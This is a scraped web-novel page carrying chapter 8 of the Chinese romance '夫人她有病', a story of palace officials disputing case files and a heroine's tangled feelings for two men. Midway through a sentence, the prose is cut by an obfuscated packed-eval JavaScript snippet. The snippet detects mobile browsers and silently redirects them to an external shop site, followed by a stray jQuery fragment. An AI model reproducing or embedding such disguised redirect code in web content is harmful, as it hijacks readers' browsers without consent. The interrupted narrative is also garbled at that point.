文趣网 > 其他小说 > 夫人她有病 > 8.第 8 章
    ==第八章==

    陈惟恭心底恨极。

    但褚疏缨是代表大公主而来,他再是表示中立,要是真不给大公主脸,也绝非一件好事,他只能表明从容自若:

    “褚从事说笑了。”

    褚疏缨抬眸,她笑得温婉,但话音却是一点也不柔和:

    “下官不爱说笑,核验选官一事乃是陈尚书亲自提出,如今又在此拖延时间,莫非是问心有愧?”

    话落,她便看向自己身后小吏,让他们去搬卷宗。

    陈惟恭扫过那两个小吏,冷声:“且慢!”

    小吏被吓住,一时进也不是,退也不是,询问地看向褚疏缨。

    褚疏缨也觉得厌烦,刚欲说话,身后就传来一阵脚步声,不轻不重,却像是踩在人心上,她回头去看,就看见奚衍臣的那张脸。

    陈惟恭也看见了,他脸色变了一下。

    奚衍臣一眼就看见了那个扰人心神的女子,她身穿胭脂色襦裙,站在陈惟恭一群人跟前,看似柔弱,却是不卑不亢,态度强硬,陈惟恭那个老匹夫险些稳不住脸色。

    奚衍臣唇角提起了一抹笑,混不吝的:

    “哟,都堵在这里做什么?”

    枢密院权力重大,不论是褚疏缨还是陈惟恭,都不愿得罪他,褚疏缨不管陈惟恭,她冲着奚衍臣福了福身,语气平缓又简短地说:

    “我奉命来调卷,但陈尚书一直拖延阻拦,也不知是不满于殿下,还是不满于圣上命令。”

    奚衍臣快要笑了。

    她真是大胆,一墙之隔,那边就是皇上,就敢往陈惟恭头上泼脏水。

    陈惟恭果然脸色骤变,他怒意看向褚疏缨:“褚从事莫要口出狂言!”

    他朝奚衍臣拱了拱手:

    “调卷是核验的应有之序,本官从未说过不给,但整理卷宗需要时间,褚从事不若去请章程,有了章程,再来调卷,更合规矩。”

    陈惟恭咬死了时间和章程,如今卷宗还未整理,被调走的话,他就彻底失去了先手。

    褚疏缨笑了,奚衍臣也笑了。

    暖阳落下来,叫二人仿佛镀了一层光晕,但陈惟恭半点欣赏的心思都没有,一颗心沉了又沉。

    褚疏缨是真的觉得好笑,她上前一步,语气不容置喙:

    “圣上命殿下统筹此事,下官奉殿下之命前来调卷,陈尚书要章程,下官站在这里时,便是章程。”

    奚衍臣定定地看了她背影一眼,沈策抬头望天。

    陈惟恭这才惊觉自己失言,的确,大公主统筹此事,她的命令就是章程,奚衍臣又在一旁虎视眈眈,他深呼吸一口气,没去看奚衍臣,而是沉声对褚疏缨道:

    “褚从事非要调卷,本官自是会给,但褚从事如此年轻,何必逞一时之快。”

    褚疏缨歪了歪头。

    她一向不介意借力打力,合理地利用一切资源本就是能力。

    她朝奚衍臣看去,轻蹙眉,像是不解,又像是惊愕:

    “陈尚书这是在威胁我?”

    陈惟恭心底咯噔了一声,他暗骂自己昏了头,褚疏缨是大公主的私臣,大公主得意,她就得意,无其余升迁或贬黜之路,他的威胁对她来说,根本行不通。

    偏偏还有人添乱,奚衍臣笑了,他颔首,一副不怕事大的模样:

    “我听着的确像是威胁之语。”

    陈惟恭脸色彻底沉了下来。

    但在场二人没一个在意的,褚疏缨更是语气看似恭敬地说道:“今日一事,下官会一五一十地告诉殿下。”

    她直视陈惟恭,语气平静:

    “现在下官要调卷,陈尚书是给,还是不给?”

    她态度强硬,又有一个奚衍臣看似看热闹,实则虎视眈眈,陈惟恭沉默了一会儿,缓缓地向旁观让了一步。

    褚疏缨没时间整理她和奚衍臣的那点乱七八糟的事情,她带着人去搬卷宗,她倒是还知道怎么做人,给奚衍臣也留了一半。

    临出门时,有人的衣袖擦过她的手腕,他轻轻地垂眸,唇角好像轻轻地勾了一下,又好像没有。

    等出了吏部,褚疏缨才狠狠地松了一口气。

    陈惟恭能在吏部这样至关重要的位置一待就是多年,轻易得罪不起,但陈惟恭的那些话本也没给她脸面,她不仅代表自己,又代表着大公主,就绝不可能像一团软面一样任人欺压。

    上了马车,褚疏缨才垂眸,仿若不经意地扫了一眼自己的手背。

    那里被人轻轻地擦过,指腹和肌肤相蹭,似乎还残余着一点令人情绪难明的温度。

    褚疏缨的耳根子有点红,又有点热。

    她心中腹诽,某个人真是轻挑!

    把卷宗送到公主府后,时间也不早了,褚疏缨没有回府,留宿了公主府,公主一向待她很好,在府中特意给她留了一间客房。

    她是翌日傍晚才归府的。

    青禾也习惯了她偶尔留宿公主府,半点不意外,见她回来,满脸都是欢喜:

    “姑娘,您回来啦!”

    褚疏缨揉着额角,她连续两日忙得连喝口热茶的时间都没有,今日本来也没打算回来的,但她忽然想起来,她和奚玉恒约好了明日一同去秋静寺上香,答应好的事情不好变卦。

    她一边洗漱,一边过问家中的事情:

    “小妹这两日有来过吗?”

    绿苕偷笑着:“来过,二姑娘昨日和今日都来过,见您不在,又失落地走了。”

    二姑娘一向最喜欢缠着姑娘,是闻时院的常客。

    褚疏缨思索片刻,吩咐道:

    “明日把我之前从公主府带回来的那些字帖给二妹送去。”

    绿苕点头,把这件事记在心里:“姑娘放心,明日奴婢一醒来就去办。”

    稍顿,绿苕有些犹疑:

    “那小公子那边,可也要送一份过去?”

    褚疏缨顿了一下,指尖悬停在了水面上,许久,她头也没抬,声音很轻很轻:

    “近来父亲正在替他寻夫子,有父亲和母亲替他考虑,这方面不会短缺了他。”

    但小妹不同。

    她不缺关怀,不缺吃喝,也不缺用度,但不会有人特意关注她的学问,也不会有人替她也去寻一位夫子好生教导,她会被母亲亲自带在身边教导中馈理事。

    好像谁也没做错。

    可那日,娘亲随口一句

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17876101|211971||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    说笑,说小弟年纪尚幼,见识反倒比姐姐广些,这话像根细针,深深扎在小妹心中。

    那日小妹回来后,哭了很久。

    她回望着小妹,仿佛是看见许多年前的自己,于是,那根刺,便也扎在了她心里。

    拔不掉,碰又疼。

    绿苕察觉到姑娘心情不如刚才高涨,也不敢再说话。

    片刻,褚疏缨整理好心情,她坐在铜镜前,一边护理着青丝,一边同两个婢女低声商议着明日穿什么。

    和奚玉恒相见,她并不抗拒,只是在知道她和奚衍臣或许有什么后,难免也觉得尴尬和心虚。

    她思忖了片刻,说道:

    “去上香,就不需要繁琐,就那套前两日绣房送来的青色襦裙就好。”

    出游,以防万一,还得再备一套换洗衣物,这样都会有婢女打点好,不需要褚疏缨过多的操心,她揉了揉疲倦的眉心,倦怠地上了床榻。

    她睡得有些沉,翌日,醒来得也不算早。

    奚玉恒到的时候,褚疏缨刚准备用早膳,她没有着急,将一碗粥喝完才起身出去。

    待看见奚玉恒的第一眼,她眸色有些凝住。

    她见过的奚玉恒,要么一身官服,要么常穿着简单白衣或者青衫,很少见到他穿蓝色这般浓郁的颜色,没有什么不相配,他本就生得面冠如玉,这般颜色,叫他越发添了些许神采奕奕。

    她会顿住,仅仅是因为那日二人的对话。

    她说喜欢蓝色,他今日便穿了蓝色。

    可是,她对蓝色其实并无偏爱,仅仅是因那日有人穿了这身颜色的衣服,又那般秾艳那般好看,于是叫她脱口而出。

    奚玉恒也看见了她,他站在廊下,暖阳落在他脸上,他温和地抬眸笑,似有光晕落在他眸中:

    “阿缨。”

    那一刻,褚疏缨各种隐秘的心思都冒了上来,最终演变成一抹难于启齿的心虚。

    褚疏缨快步上前,今日暖阳大,他又站在外面,额角溢出了些汗,她递过去一方手帕,给他擦汗:

    “你怎么来得这么早?”

    奚玉恒没接,而是微微俯下了身子,褚疏缨见状微怔,奚玉恒保持着俯身的姿态,他轻轻地掀眸,含笑温柔又耐心地等着她。

    褚疏缨捻了一下手帕的布料,才抬手替他擦了擦额角的汗,她闷声:

    “你干嘛不自己擦。”

    奚玉恒笑:“嗯,想让阿缨替我擦。”

    褚疏缨哑口无声。

    她忽然发现,奚玉恒有时候真是直白得让人无话可说。

    他光明正大、也理所应当地亲近她。

    褚疏缨快速地擦了两下,就收回了手帕,或许是心虚,叫她不太适应这样的场合,她朝前走着:“快些走吧。”

    奚玉恒缓步跟在她身后,看着她有些慌乱的背影,他眸中藏了些许笑意。

    他追了上来,低声问:

    “你不喜欢吃寺中的斋饭,我们早些去,也早些回来。”

    褚疏缨顿了一下,才意识到他是在回答她的第一个问题。

    褚疏缨越发心虚了,他越坦诚越温柔相待,就越让人觉得辜负了他是罪大恶极。